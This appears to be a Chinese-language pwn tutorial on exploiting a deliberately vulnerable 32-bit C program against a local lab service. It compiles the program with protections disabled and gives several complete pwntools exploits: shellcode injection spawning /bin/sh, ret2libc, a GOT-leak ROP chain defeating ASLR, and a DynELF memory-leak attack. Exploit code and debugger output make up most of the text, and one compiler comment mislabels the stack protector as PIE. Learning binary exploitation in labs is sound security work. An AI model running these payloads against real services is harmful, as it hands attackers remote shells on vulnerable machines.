基础栈溢出:未开启任何保护的程序
漏洞程序源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
编译:
gcc -fno-stack-protector -z execstack -o vuln vuln.c -g
-fno-stack-protector #关闭PIE(堆栈保护)
-z execstack #关闭NX(DEP)
堆栈保护相关参数
gcc -fno-stack-protector //禁用堆栈保护
gcc -fstack-protector //启用堆栈保护,针对有字符串数组的函数
gcc -fstack-protector-all //启用堆栈保护,针对所有函数
gcc -fstack- protector-strong //更强版本
关闭系统ASLR
su root
echo 0 > /proc/sys/kernel/randomize_va_space
exit
虽然我们关闭了系统ASLR,但这只能保证buf的地址在gdb的调试环境中不变 但当我们直接执行目标程序的时候,buf的位置会固定在别的地址上。 最简单的解决方法就是开启core dump这个功能。
开启core dump
ulimit -c #查看core文件的生成开关,若为0则关闭
ulimit -c unlimited #打开开关,只在当前shell生效
sudo sh -c 'echo "./%e.core.%p" > /proc/sys/kernel/core_pattern'
#在当前目录下生成core文件,临时生效
控制PC指针跳转到callsystem()这个函数的地址上即可获取shell
尝试覆盖eip
先找出溢出点的位置,缓冲区大小是256,用300个字符测试覆盖
gdb ./vuln #用gdb调试
gdb-peda$ pattern create 150 payload #创建150个字符,存入payload文件
gdb-peda$ r < payload #传参运行
如图所示,成功覆盖EIP
得到出错地址为0x41416d41,算一下此处地址偏移
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140
可以非常容易的计算出PC返回值的覆盖点为140个字节。
我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了
使用一段最简单的执行execve ("/bin/sh")
命令的语句作为 shellcode
(可用msf生成)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上
因为 shellcode 地址的位置,在GDB和实际运行中是不同的
所以文章开头已经写了,用开启core dump解决
运行程序,当出现内存错误的时候,系统会生成一个core dump文件在当前目录下
$ ./vuln < payload
段错误 (核心已转储)
然后再用gdb查看这个core文件就可以获取到buf真正的地址了
$ gdb ./vuln vuln.core.4447
因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144
通过gdb的命令 x/10s $esp-144
,我们可以得到buf的地址为0xbffff270
exp编写
使用pwntools工具,可以非常方便的做到本地调试和远程攻击的转换
#!/usr/bin/env python
from pwn import *
p = process('./level1') #本地测试
p = remote('127.0.0.1',10001) #远程攻击
ret = 0xbffff290
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload
p.interactive() #开启交互shell
使用socat
把这个目标程序作为一个服务绑定到服务器的某个端口上
socat TCP4-LISTEN:10001,fork EXEC:./vuln
随后这个程序的IO就被重定向到10001这个端口上了,可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了
存在libc.so 使用ret2libc绕过nx位
编译
gcc -fno-stack-protector -o vuln vuln.c -g
其它的不变,如果用前面的exp来测试,会发现系统拒绝执行shellcode,没有栈执行权限
如何执行shellcode?
vuln调用了libc.so,并且libc.so里保存了大量可利用的函数
我们如果可以让程序执行system(“/bin/sh”)
的话,也可以获取到shell。
既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址,以及”/bin/sh”这个字符串的地址
如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的
并且libc.so中也包含”/bin/sh”这个字符串,而且这个字符串的地址也是固定的
接下来使用gdb调试,找一下这个函数的地址
通过print和find命令来查找system和”/bin/sh”字符串的地址
gdb-peda$ start # 停在main函数的第一条语句,等同于break main
#这样的话程序会加载libc.so到内存中
gdb-peda$ p system # 获取system函数在内存中的位置
$1 = {<text variable, no debug info>} 0xb7e63170 <system>
gdb-peda$ p __libc_start_main #获取libc.so在内存中的起始位置
$2 = {<text variable, no debug info>} 0xb7e3f3e0 <__libc_start_main>
#下边这条命令要先关闭peda,cd ~/ ,vim .gdbinit ,把peda用‘#’号注释掉就行
(gdb) find 0xb7e3f3e0,+2200000,"/bin/sh" #通过find命令来查找”/bin/sh”这个字符串
0xb7f82be3
warning: Unable to access target memory at 0xb7fc90eb, halting search.
1 pattern found.
(gdb) x/s 0xb7f82be3
0xb7f82be3: "/bin/sh"
system = 0xb7e63170 , "/bin/sh" = 0xb7f82be3
写exp
#!/usr/bin/env python
from pwn import *
p = process('./level2')
#p = remote('127.0.0.1',10002)
ret = 0xdeadbeef
systemaddr = 0xb7e63170
binshaddr = 0xb7f82be3
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
注意:system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。
因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址
通过ROP-绕过 NX (DEP)和ASLR
ROP的全称为Return-oriented programming(返回导向编程)
这一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
打开ASLR防护(地址随机化)
sudo echo 2 > /proc/sys/kernel/randomize_va_space
这是第二步的exp又不好使了,因为libc.so地址每次都是变化的
那么如何解决地址随机化的问题呢?
思路是:
既然栈,libc,heap的地址都是随机的,我们怎么才能泄露出libc.so的地址呢?
因为程序本身在内存中的地址并不是随机的,如图所示
Linux内存随机化分布图
所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。
首先我们利用objdump来查看可以利用的plt函数
和函数对应的got表
objdump -d -j .plt vuln
objdump -R vuln
我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()
和write@plt()
函数。
但因为程序本身并没有调用system()
函数,所以我们并不能直接调用system()
来获取shell。
但其实我们有write@plt()
函数就够了
因为我们可以通过write@plt()
函数把write()
函数在内存中的地址也就是write.got给打印出来。
既然write()函数实现是在libc.so当中,那我们调用的write@plt()
函数为什么也能实现write()
功能呢?
这是因为linux采用了延时绑定技术,当我们调用write@plit()
的时候
系统会将真正的write()
函数地址link到got表的write.got
中
然后write@plit()
会根据write.got
跳转到真正的write()
函数上去。
(推荐阅读《程序员的自我修养 - 链接、装载与库》)
因为system()
函数和write()
在libc.so中的offset(相对地址)是不变的
所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()
在内存中的地址了
然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击
并且这一次我们知道了system()
在内存中的地址,就可以调用system()
函数来获取我们的shell了
使用ldd命令可以查看目标程序调用的so库。
随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址
$ldd vuln
linux-gate.so.1 => (0xb773a000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7583000)
/lib/ld-linux.so.2 (0xb773b000)
$ cp /lib/i386-linux-gnu/libc.so.6 libc.so
最后exp如下:
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('vuln')
#p = process('./level2')
p = remote('127.0.0.1', 10003)
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404 # p vulnerable_function 打印漏洞触发点地址
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
接着我们使用 socat 把 vuln 绑定到10003端口
socat TCP4-LISTEN:10003,fork EXEC:./vuln
内存泄漏和DynELF (memory leak)
在不获取目标libc.so的情况下进行ROP攻击
如果我们在获取不到目标机器上的libc.so情况下,就需要通过leak
来搜索内存找到系统的地址
我们采用pwntools提供的DynELF模块来进行内存搜索
首先我们需要实现一个泄漏(地址)函数,通过这个函数可以获取到某个地址上最少1个字节的数据
拿我们前面的vuln程序举例.leak函数应该是这样实现的
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
将随后这个函数作为参数再调用d = DynELF(leak, elf=ELF('./vuln'))
就可以对DynELF模块进行初始化了
然后可以通过调用system_addr = d.lookup('system', 'libc')
来得到libc.so中system()在内存中的地址
要注意的是,通过DynELF模块只能获取到system()在内存中的地址
但无法获取字符串“/bin/sh”在内存中的地址
所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中
.bss段是用来保存全局变量的值的,地址固定,并且可以读可写
通过readelf -S vuln
这个命令就可以获取到bss段的地址了
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[25] .bss NOBITS 0804a018 001018 000008 00 WA 0 0 4
因为我们在执行完read()之后要接着调用system(“/bin/sh”)
,并且read()这个函数的参数有三个
所以我们需要一个pop pop pop ret的gadget用来保证栈平衡
这个gadget非常好找,用objdump就可以轻松找到(可以用ROPgadget这个工具来找)
整个攻击过程如下:
最终的exp如下:
#!/usr/bin/env python
from pwn import *
elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./level2')
#p = remote('127.0.0.1', 10002)
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a020
pppr = 0x804855d
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()